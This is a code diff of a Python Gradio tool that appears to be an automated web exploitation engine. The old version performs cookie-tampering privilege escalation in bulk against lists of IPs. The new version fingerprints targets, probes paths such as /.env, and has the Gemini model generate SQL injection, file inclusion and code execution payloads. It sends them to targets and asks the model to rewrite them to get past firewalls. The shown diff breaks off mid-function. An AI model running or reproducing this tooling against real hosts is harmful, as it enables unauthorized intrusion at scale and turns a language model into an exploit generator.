| 566 |
-
response = await self.client.get(self.target_url_base, cookies={cookie_name: tamper_value}, timeout=EXPLOIT_TIMEOUT)
|
| 567 |
-
content_snippet = response.text[:200].replace('\n', ' ')
|
| 568 |
-
|
| 569 |
-
if "admin" in content_snippet.lower() or "administrator" in content_snippet.lower():
|
| 570 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Cookie Tampering SUCCESS!",
|
| 571 |
-
f"Privilege escalated! Server accepted '{tamper_value}' for {cookie_name}. Status: {response.status_code}"))
|
| 572 |
-
else:
|
| 573 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Cookie Tampering PROBED.",
|
| 574 |
-
f"Status: {response.status_code}. Check if the page reflects the '{tamper_value}' value."))
|
| 575 |
-
|
| 576 |
-
except httpx.RequestError as e:
|
| 577 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Error during Cookie Tampering test", str(e)))
|
| 578 |
|
| 579 |
|
| 580 |
-
# ---
|
| 581 |
|
| 582 |
-
def
|
| 583 |
-
"""
|
| 584 |
-
Parses targets either from CSV file(s) or a manual text block.
|
| 585 |
-
Returns a list of (host, port) tuples.
|
| 586 |
-
"""
|
| 587 |
targets = []
|
| 588 |
-
|
| 589 |
-
|
| 590 |
-
|
| 591 |
-
file_paths = [file_paths]
|
| 592 |
-
|
| 593 |
-
for file_obj in file_paths:
|
| 594 |
-
if hasattr(file_obj, 'name'): # It's a file object from Gradio
|
| 595 |
-
file_path = file_obj.name
|
| 596 |
-
else: # It's a string path
|
| 597 |
-
file_path = file_obj
|
| 598 |
-
|
| 599 |
-
print(f"[*] Parsing targets from CSV file: {file_path}")
|
| 600 |
try:
|
| 601 |
-
|
| 602 |
-
|
| 603 |
-
|
| 604 |
-
|
| 605 |
-
|
| 606 |
-
|
| 607 |
-
|
| 608 |
-
|
| 609 |
-
port = int(port_str)
|
| 610 |
-
targets.append((host, port))
|
| 611 |
-
except ValueError:
|
| 612 |
-
print(f"[!] Skipping invalid port in CSV row: {row}")
|
| 613 |
-
except FileNotFoundError:
|
| 614 |
-
print(f"[!] Error: CSV file not found at {file_path}")
|
| 615 |
-
except Exception as e:
|
| 616 |
-
print(f"[!] Error during CSV reading: {e}")
|
| 617 |
-
|
| 618 |
-
if manual_text:
|
| 619 |
-
print("[*] Parsing targets from manual text input...")
|
| 620 |
-
for line in manual_text.strip().split('\n'):
|
| 621 |
-
line = line.strip()
|
| 622 |
-
if not line:
|
| 623 |
-
continue
|
| 624 |
-
|
| 625 |
-
if ':' in line and ',' not in line:
|
| 626 |
-
parts = line.split(':')
|
| 627 |
-
if len(parts) == 2:
|
| 628 |
-
host = parts[0].strip()
|
| 629 |
-
try:
|
| 630 |
-
port = int(parts[1].strip())
|
| 631 |
-
targets.append((host, port))
|
| 632 |
-
continue
|
| 633 |
-
except ValueError:
|
| 634 |
-
pass
|
| 635 |
-
|
| 636 |
if ',' in line:
|
| 637 |
-
|
| 638 |
-
if
|
| 639 |
-
host = parts[0]
|
| 640 |
-
try:
|
| 641 |
-
port = int(parts[1])
|
| 642 |
-
targets.append((host, port))
|
| 643 |
-
continue
|
| 644 |
-
except ValueError:
|
| 645 |
-
print(f"[!] Skipping invalid port in manual entry: {line}")
|
| 646 |
-
|
| 647 |
-
if re.match(r'^[\w.-]+$', line):
|
| 648 |
-
targets.append((line, None))
|
| 649 |
else:
|
| 650 |
-
|
| 651 |
-
|
| 652 |
-
return targets
|
| 653 |
|
| 654 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 655 |
|
| 656 |
-
|
| 657 |
-
targets_to_scan = _parse_targets(file_paths, manual_text)
|
| 658 |
|
| 659 |
-
|
| 660 |
-
|
| 661 |
-
|
| 662 |
-
|
| 663 |
-
|
| 664 |
|
| 665 |
-
|
| 666 |
-
print(f"π Starting Scan Sequence for {len(targets_to_scan)} Targets...")
|
| 667 |
-
print(f"{'='*60}\n")
|
| 668 |
-
|
| 669 |
-
for host, port in targets_to_scan:
|
| 670 |
-
scanner = AggressiveScanner(host, port, stealth)
|
| 671 |
-
results = await scanner.run_full_spectrum_attack()
|
| 672 |
-
target_id = f"{host}{':' + str(port) if port else ''}"
|
| 673 |
-
all_results[target_id] = results
|
| 674 |
-
|
| 675 |
-
for phase, outcomes in results.items():
|
| 676 |
-
for outcome in outcomes:
|
| 677 |
-
outcome['Target'] = target_id
|
| 678 |
-
all_findings.append(outcome)
|
| 679 |
-
|
| 680 |
-
if not all_findings:
|
| 681 |
-
return "β οΈ **No findings were recorded.**", ""
|
| 682 |
|
| 683 |
-
|
|
|
|
|
|
|
| 684 |
|
| 685 |
-
|
| 686 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 687 |
|
| 688 |
-
|
| 689 |
-
|
| 690 |
-
|
| 691 |
-
|
| 692 |
-
|
| 693 |
-
|
| 694 |
-
|
| 695 |
-
|
| 696 |
-
|
| 697 |
-
|
| 698 |
-
|
| 699 |
-
|
| 700 |
-
|
| 701 |
-
|
| 702 |
-
|
| 703 |
-
summary_md += "#### π Top 3 Critical Findings\n"
|
| 704 |
-
|
| 705 |
-
for index, row in top_findings.iterrows():
|
| 706 |
-
summary_md += f"**[{row['level']}]** {row['message']}\n"
|
| 707 |
-
if row.get('detail'):
|
| 708 |
-
summary_md += f" * *Detail:* {row['detail']}\n"
|
| 709 |
-
summary_md += "---\n\n"
|
| 710 |
|
| 711 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 712 |
|
| 713 |
-
|
|
|
|
| 714 |
|
| 715 |
|
| 716 |
-
|
| 717 |
-
|
|
|
|
| 718 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 719 |
|
| 720 |
-
# --- GRADIO UI DEFINITION ---
|
| 721 |
if __name__ == "__main__":
|
| 722 |
-
with gr.Blocks(title="Aggressive Red Team Scanner") as demo:
|
| 723 |
-
gr.Markdown("# π Tier 1 Red Team Exploitation Engine")
|
| 724 |
-
gr.Markdown("Input your targets via **CSV File** or **Manual Text Input** (IP/IP:Port or IP,Port). The engine will run a full spectrum attack for every target.")
|
| 725 |
-
|
| 726 |
-
with gr.Row():
|
| 727 |
-
csv_file_input = gr.File(label="π Import Target List (CSV)", file_count="multiple", file_types=[".csv"])
|
| 728 |
-
manual_input = gr.Textbox(label="π Manual Target List (IP,Port per line)", lines=8,
|
| 729 |
-
placeholder="e.g., 107.148.158.208,80\n103.101.85.15\n192.168.1.5:443")
|
| 730 |
-
stealth_switch = gr.Checkbox(label="Stealth Mode (Less Aggressive)", value=False)
|
| 731 |
-
|
| 732 |
-
scan_button = gr.Button("βοΈ Launch Full Spectrum Attack", variant="primary")
|
| 733 |
-
|
| 734 |
-
summary_output = gr.Markdown(label="Summary Report", value="Awaiting attack launch...")
|
| 735 |
-
results_table = gr.HTML(label="Raw Findings Table", value="")
|
| 736 |
-
|
| 737 |
-
scan_button.click(
|
| 738 |
-
fn=gradio_wrapper,
|
| 739 |
-
inputs=[csv_file_input, manual_input, stealth_switch],
|
| 740 |
-
outputs=[summary_output, results_table]
|
| 741 |
-
)
|
| 742 |
-
|
| 743 |
demo.launch()
|
|
|
|
| 3 |
import ssl
|
| 4 |
import socket
|
| 5 |
import re
|
| 6 |
+
import csv
|
|
|
|
|
|
|
| 7 |
import time
|
| 8 |
import pandas as pd
|
| 9 |
+
import gradio as gr
|
| 10 |
import dns.resolver
|
| 11 |
+
from collections import defaultdict
|
| 12 |
+
from typing import Dict, List, Tuple, Any
|
| 13 |
+
from pydantic import BaseModel, Field
|
| 14 |
+
|
| 15 |
+
# --- GEMINI SDK INTEGRATION ---
|
| 16 |
+
try:
|
| 17 |
+
from google import genai
|
| 18 |
+
from google.genai import types
|
| 19 |
+
GEMINI_AVAILABLE = True
|
| 20 |
+
except ImportError:
|
| 21 |
+
GEMINI_AVAILABLE = False
|
| 22 |
+
|
| 23 |
+
# ==============================================================================
|
| 24 |
+
# SOTA DECISION ENGINE: TWO-STAGE HYPOTHESIS & VALIDATION
|
| 25 |
+
# ==============================================================================
|
| 26 |
+
|
| 27 |
+
MAX_CONCURRENT_RECON = 50
|
| 28 |
+
MAX_CONCURRENT_EXPLOIT = 10 # Hard limit for bulk exploitation
|
| 29 |
+
SCAN_TIMEOUT = 5.0
|
| 30 |
+
EXPLOIT_TIMEOUT = 8.0
|
| 31 |
|
|
|
|
|
|
|
|
|
|
| 32 |
HTTP_HEADERS = {
|
| 33 |
+
"User-Agent": "Ethical-PenTest-Decision-Engine/4.0 (Authorized)",
|
| 34 |
+
"Accept": "*/*",
|
| 35 |
+
"X-Forwarded-For": "127.0.0.1",
|
|
|
|
|
|
|
|
|
|
| 36 |
}
|
| 37 |
|
| 38 |
+
# --- STRUCTURED OUTPUT SCHEMAS (GEMINI) ---
|
| 39 |
+
class ExploitHypothesis(BaseModel):
|
| 40 |
+
confidence_score: float = Field(description="Confidence from 0.0 to 1.0 that the target is vulnerable.")
|
| 41 |
+
target_endpoint: str = Field(description="The path or parameter to attack (e.g., /api/v1/users?id=).")
|
| 42 |
+
payload: str = Field(description="The exact PoC payload string to inject (e.g., ' OR SLEEP(5)-- ).")
|
| 43 |
+
rationale: str = Field(description="Why this payload was chosen based on the fingerprint and discovered paths.")
|
| 44 |
+
|
| 45 |
+
class ExploitPatch(BaseModel):
|
| 46 |
+
failure_analysis: str = Field(description="Brief analysis of why the previous payload failed based on the HTTP response.")
|
| 47 |
+
revised_payload: str = Field(description="The newly patched payload to bypass the WAF or input restriction.")
|
| 48 |
+
|
| 49 |
+
# --- SIMULATED CVE CORRELATION GRAPH ---
|
| 50 |
+
CVE_GRAPH = {
|
| 51 |
+
"nginx": {
|
| 52 |
+
"1.18.0": [{"cve": "CVE-2021-23017", "type": "Request Smuggling", "base_cvss": 7.5, "maturity": 0.8}],
|
| 53 |
+
"behavior_match": [{"cve": "Misconfig-XXE", "type": "XXE Injection", "base_cvss": 8.0, "maturity": 0.9}]
|
| 54 |
+
},
|
| 55 |
+
"apache": {
|
| 56 |
+
"2.4.49": [{"cve": "CVE-2021-41773", "type": "Path Traversal / RCE", "base_cvss": 9.8, "maturity": 1.0}],
|
| 57 |
+
"behavior_match": [{"cve": "Misconfig-LFI", "type": "Local File Inclusion", "base_cvss": 7.0, "maturity": 0.9}]
|
| 58 |
+
},
|
| 59 |
+
"php": {
|
| 60 |
+
"generic": [{"cve": "Generic-SQLi", "type": "SQL Injection", "base_cvss": 8.5, "maturity": 0.95}],
|
| 61 |
+
}
|
| 62 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 63 |
|
| 64 |
+
# --- ENGINE CLASSES ---
|
| 65 |
+
class HypothesisData:
|
| 66 |
+
def __init__(self, target_id: str, host: str, port: int, cve: str, attack_type: str, risk: float, context: dict):
|
| 67 |
+
self.target_id = target_id
|
| 68 |
+
self.host = host
|
| 69 |
+
self.port = port
|
| 70 |
+
self.cve = cve
|
| 71 |
+
self.attack_type = attack_type
|
| 72 |
+
self.risk = risk
|
| 73 |
+
self.context = context # Fingerprint & discovered paths
|
| 74 |
+
|
| 75 |
+
# UI Representation
|
| 76 |
+
self.ui_label = f"[{risk:.1f}] {target_id} -> {attack_type} ({cve})"
|
| 77 |
+
|
| 78 |
+
class ReconEngine:
|
| 79 |
+
def __init__(self, host: str, port: int):
|
| 80 |
+
self.host = host
|
| 81 |
+
self.port = port
|
| 82 |
+
self.protocol = "http"
|
| 83 |
+
self.fingerprint = {"server": "", "xpb": "", "waf": "None", "behaviors": []}
|
| 84 |
+
self.discovered_paths = []
|
| 85 |
+
self.hypotheses: List[HypothesisData] = []
|
| 86 |
+
self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=False)
|
| 87 |
+
|
| 88 |
+
async def _detect_protocol(self):
|
| 89 |
+
try:
|
| 90 |
+
conf = ssl.create_default_context()
|
| 91 |
+
conf.check_hostname = False
|
| 92 |
+
conf.verify_mode = ssl.CERT_NONE
|
| 93 |
+
reader, writer = await asyncio.wait_for(asyncio.open_connection(self.host, self.port, ssl=conf), timeout=1.5)
|
| 94 |
+
writer.close()
|
| 95 |
+
await writer.wait_closed()
|
| 96 |
+
self.protocol = "https"
|
| 97 |
+
except:
|
| 98 |
+
self.protocol = "http"
|
| 99 |
+
|
| 100 |
+
def _url(self, path=""): return f"{self.protocol}://{self.host}:{self.port}{path}"
|
| 101 |
+
|
| 102 |
+
async def _safe_req(self, method="GET", path="", timeout=SCAN_TIMEOUT):
|
| 103 |
try:
|
| 104 |
+
if method == "GET": return await self.client.get(self._url(path), timeout=timeout)
|
| 105 |
+
elif method == "OPTIONS": return await self.client.options(self._url(path), timeout=timeout)
|
| 106 |
+
except Exception: return None
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 107 |
|
| 108 |
+
async def run_recon(self) -> List[HypothesisData]:
|
| 109 |
+
await self._detect_protocol()
|
| 110 |
+
try:
|
| 111 |
+
await asyncio.gather(self.behavioral_fingerprint(), self.path_discovery())
|
| 112 |
+
self.generate_hypotheses()
|
| 113 |
finally:
|
|
|
|
| 114 |
await self.client.aclose()
|
| 115 |
+
return self.hypotheses
|
| 116 |
+
|
| 117 |
+
async def behavioral_fingerprint(self):
|
| 118 |
+
resp = await self._safe_req("GET", "/")
|
| 119 |
+
if resp:
|
| 120 |
+
srv = resp.headers.get("Server", "").lower()
|
| 121 |
+
self.fingerprint["server"] = srv
|
| 122 |
+
self.fingerprint["xpb"] = resp.headers.get("X-Powered-By", "Unknown").lower()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 123 |
|
| 124 |
+
# WAF Detection Heuristics
|
| 125 |
+
if "cloudflare" in srv or "__cfduid" in str(resp.cookies): self.fingerprint["waf"] = "Cloudflare"
|
| 126 |
+
if "imperva" in srv or "incap_ses" in str(resp.cookies): self.fingerprint["waf"] = "Imperva"
|
| 127 |
+
|
| 128 |
+
resp_404 = await self._safe_req("GET", "/%c0%af_nonexistent")
|
| 129 |
+
if resp_404:
|
| 130 |
+
if "nginx" in resp_404.text.lower(): self.fingerprint["behaviors"].append("nginx_default_404")
|
| 131 |
+
if "apache" in resp_404.text.lower(): self.fingerprint["behaviors"].append("apache_default_404")
|
| 132 |
+
|
| 133 |
+
resp_opt = await self._safe_req("OPTIONS", "/")
|
| 134 |
+
if resp_opt and "Allow" in resp_opt.headers:
|
| 135 |
+
self.fingerprint["behaviors"].append(f"methods_allowed:{resp_opt.headers['Allow']}")
|
| 136 |
+
|
| 137 |
+
async def path_discovery(self):
|
| 138 |
+
paths = ["/admin", "/.env", "/api/v1/users", "/login.php", "/search"]
|
| 139 |
+
tasks = [self._safe_req("GET", p) for p in paths]
|
| 140 |
+
results = await asyncio.gather(*tasks)
|
| 141 |
+
for path, res in zip(paths, results):
|
| 142 |
+
if res and res.status_code in [200, 301, 302, 401, 403]:
|
| 143 |
+
self.discovered_paths.append(path)
|
| 144 |
+
|
| 145 |
+
def generate_hypotheses(self):
|
| 146 |
+
target_id = f"{self.host}:{self.port}"
|
| 147 |
+
techs = []
|
| 148 |
+
if "nginx" in self.fingerprint["server"] or "nginx_default_404" in self.fingerprint["behaviors"]: techs.append("nginx")
|
| 149 |
+
if "apache" in self.fingerprint["server"] or "apache_default_404" in self.fingerprint["behaviors"]: techs.append("apache")
|
| 150 |
+
if "php" in self.fingerprint["xpb"] or any(".php" in p for p in self.discovered_paths): techs.append("php")
|
| 151 |
+
|
| 152 |
+
context = {"fingerprint": self.fingerprint, "paths": self.discovered_paths}
|
| 153 |
+
|
| 154 |
+
for tech in techs:
|
| 155 |
+
if tech in CVE_GRAPH:
|
| 156 |
+
for node in CVE_GRAPH[tech].get("behavior_match", []):
|
| 157 |
+
risk = (node["base_cvss"] * 0.4) + (node["maturity"] * 4.0) + (1.0 * 2.0)
|
| 158 |
+
self.hypotheses.append(HypothesisData(target_id, self.host, self.port, node["cve"], node["type"], risk, context))
|
| 159 |
+
|
| 160 |
+
class ValidationAgent:
|
| 161 |
+
def __init__(self, api_key: str):
|
| 162 |
+
self.llm_client = genai.Client(api_key=api_key) if GEMINI_AVAILABLE and api_key else None
|
| 163 |
+
self.http_client = httpx.AsyncClient(verify=False, timeout=EXPLOIT_TIMEOUT)
|
| 164 |
+
|
| 165 |
+
async def validate_hypothesis(self, hyp: HypothesisData) -> dict:
|
| 166 |
+
if not self.llm_client:
|
| 167 |
+
return {"target": hyp.target_id, "type": hyp.attack_type, "status": "FAILED", "reason": "No Gemini API Key provided."}
|
| 168 |
+
|
| 169 |
+
system_context = f"""
|
| 170 |
+
Target: {hyp.target_id}
|
| 171 |
+
Detected WAF: {hyp.context['fingerprint']['waf']}
|
| 172 |
+
Discovered Paths: {hyp.context['paths']}
|
| 173 |
+
Objective: Generate a safe PoC payload to verify {hyp.attack_type} ({hyp.cve}).
|
| 174 |
+
If attacking SQLi/RCE/LFI, choose the most likely vulnerable path from the Discovered Paths list and append a suitable parameter (e.g. ?id=, ?file=).
|
| 175 |
+
"""
|
| 176 |
|
|
|
|
|
|
|
| 177 |
try:
|
| 178 |
+
# Turn 1: Initial Generation (Using Async API)
|
| 179 |
+
response = await self.llm_client.aio.models.generate_content(
|
| 180 |
+
model="gemini-2.5-flash",
|
| 181 |
+
contents=system_context + "\nProvide the initial attack payload.",
|
| 182 |
+
config={
|
| 183 |
+
"response_mime_type": "application/json",
|
| 184 |
+
"response_json_schema": ExploitHypothesis.model_json_schema(),
|
| 185 |
+
"temperature": 0.2
|
| 186 |
+
}
|
| 187 |
+
)
|
| 188 |
+
plan = ExploitHypothesis.model_validate_json(response.text)
|
| 189 |
|
| 190 |
+
# Execution Loop
|
| 191 |
+
current_payload = plan.payload
|
| 192 |
+
target_endpoint = plan.target_endpoint
|
| 193 |
+
protocol = "https" if hyp.port == 443 else "http" # Simplified for this agent
|
|
|
|
|
|
|
| 194 |
|
| 195 |
+
for attempt in range(1, 4):
|
| 196 |
+
start_time = time.time()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 197 |
try:
|
| 198 |
+
# Token-efficient parameter injection
|
| 199 |
+
url = f"{protocol}://{hyp.target_id}{target_endpoint}"
|
| 200 |
+
resp = await self.http_client.get(url, params={"q": current_payload}, timeout=EXPLOIT_TIMEOUT)
|
| 201 |
+
latency = time.time() - start_time
|
| 202 |
|
| 203 |
+
# Validation Criteria
|
| 204 |
+
success = False
|
| 205 |
+
if resp and ("root:x:0:0" in resp.text or "[extensions]" in resp.text): success = True
|
| 206 |
+
if latency > 4.5 and "SLEEP" in current_payload.upper(): success = True
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 207 |
|
| 208 |
+
if success:
|
| 209 |
+
return {"target": hyp.target_id, "type": hyp.attack_type, "status": "SUCCESS!", "payload": current_payload, "attempt": attempt}
|
| 210 |
+
|
| 211 |
+
# Patching Loop
|
| 212 |
+
if attempt < 3:
|
| 213 |
+
text_snippet = resp.text[:200].replace('\n', ' ') if resp else "Connection Dropped"
|
| 214 |
+
error_ctx = f"Payload '{current_payload}' failed. Status: {resp.status_code if resp else 'None'}. Snippet: {text_snippet}"
|
| 215 |
+
|
| 216 |
+
patch_resp = await self.llm_client.aio.models.generate_content(
|
| 217 |
+
model="gemini-2.5-flash",
|
| 218 |
+
contents=system_context + "\n" + error_ctx + "\nGenerate a patched payload to bypass filters/errors.",
|
| 219 |
+
config={
|
| 220 |
+
"response_mime_type": "application/json",
|
| 221 |
+
"response_json_schema": ExploitPatch.model_json_schema(),
|
| 222 |
+
"temperature": 0.4
|
| 223 |
+
}
|
| 224 |
+
)
|
| 225 |
+
patch = ExploitPatch.model_validate_json(patch_resp.text)
|
| 226 |
+
current_payload = patch.revised_payload
|
| 227 |
+
|
| 228 |
+
except Exception as req_err:
|
| 229 |
+
if attempt == 3: break
|
| 230 |
+
current_payload = f"' OR 1=1-- (Fallback due to {str(req_err)})"
|
| 231 |
+
|
| 232 |
+
return {"target": hyp.target_id, "type": hyp.attack_type, "status": "FAILED", "reason": "Exhausted 3 patch attempts."}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 233 |
|
|
|
|
|
|
|
| 234 |
except Exception as e:
|
| 235 |
+
return {"target": hyp.target_id, "type": hyp.attack_type, "status": "ERROR", "reason": str(e)}
|
| 236 |
+
finally:
|
| 237 |
+
await self.http_client.aclose()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 238 |
|
| 239 |
|
| 240 |
+
# --- ORCHESTRATION PIPELINES ---
|
| 241 |
|
| 242 |
+
def parse_inputs(files, manual) -> List[Tuple[str, int]]:
|
|
|
|
|
|
|
|
|
|
|
|
|
| 243 |
targets = []
|
| 244 |
+
if files:
|
| 245 |
+
if not isinstance(files, list): files = [files]
|
| 246 |
+
for f in files:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 247 |
try:
|
| 248 |
+
path = f.name if hasattr(f, 'name') else f
|
| 249 |
+
with open(path, 'r') as csvf:
|
| 250 |
+
for row in csv.reader(csvf):
|
| 251 |
+
if row: targets.append((row[0].strip(), int(row[1]) if len(row)>1 and row[1].isdigit() else 80))
|
| 252 |
+
except: pass
|
| 253 |
+
if manual:
|
| 254 |
+
for line in manual.strip().split('\n'):
|
| 255 |
+
line = line.replace(' ', '').replace(':', ',')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 256 |
if ',' in line:
|
| 257 |
+
h, p = line.split(',')
|
| 258 |
+
targets.append((h, int(p) if p.isdigit() else 80))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 259 |
else:
|
| 260 |
+
targets.append((line, 80))
|
| 261 |
+
return list(set(targets))
|
|
|
|
| 262 |
|
| 263 |
+
async def run_stage_1(files, manual) -> Tuple[Dict[str, Any], gr.CheckboxGroup, str]:
|
| 264 |
+
"""Runs Recon & Hypothesis Generation."""
|
| 265 |
+
targets = parse_inputs(files, manual)
|
| 266 |
+
if not targets:
|
| 267 |
+
return {}, gr.update(choices=[], visible=False), "π΄ **Error:** No targets provided."
|
| 268 |
|
| 269 |
+
print(f"π [STAGE 1] Scanning {len(targets)} targets...")
|
|
|
|
| 270 |
|
| 271 |
+
tasks = [ReconEngine(h, p).run_recon() for h, p in targets]
|
| 272 |
+
# Limit concurrency
|
| 273 |
+
semaphore = asyncio.Semaphore(MAX_CONCURRENT_RECON)
|
| 274 |
+
async def sem_task(task):
|
| 275 |
+
async with semaphore: return await task
|
| 276 |
|
| 277 |
+
results = await asyncio.gather(*(sem_task(t) for t in tasks))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 278 |
|
| 279 |
+
# Flatten and Map Hypotheses
|
| 280 |
+
hyp_dict = {}
|
| 281 |
+
choices = []
|
| 282 |
|
| 283 |
+
for hyp_list in results:
|
| 284 |
+
for hyp in hyp_list:
|
| 285 |
+
hyp_dict[hyp.ui_label] = hyp
|
| 286 |
+
choices.append(hyp.ui_label)
|
| 287 |
+
|
| 288 |
+
# Sort choices by highest risk
|
| 289 |
+
choices = sorted(choices, key=lambda x: float(re.search(r'\[(.*?)\]', x).group(1)), reverse=True)
|
| 290 |
+
|
| 291 |
+
md = f"## π Stage 1 Complete\n**Discovered {len(choices)} Potential Vulnerabilities.**\nSelect up to 10 endpoints below to authorize the Gemini Exploit Agent."
|
| 292 |
+
return hyp_dict, gr.update(choices=choices, visible=True), md
|
| 293 |
+
|
| 294 |
+
async def run_stage_2(selected_labels, hyp_dict, api_key):
|
| 295 |
+
"""Runs the Gemini Agent on Selected Targets."""
|
| 296 |
+
if not selected_labels:
|
| 297 |
+
return "π΄ Please select at least one target."
|
| 298 |
|
| 299 |
+
if len(selected_labels) > MAX_CONCURRENT_EXPLOIT:
|
| 300 |
+
selected_labels = selected_labels[:MAX_CONCURRENT_EXPLOIT]
|
| 301 |
+
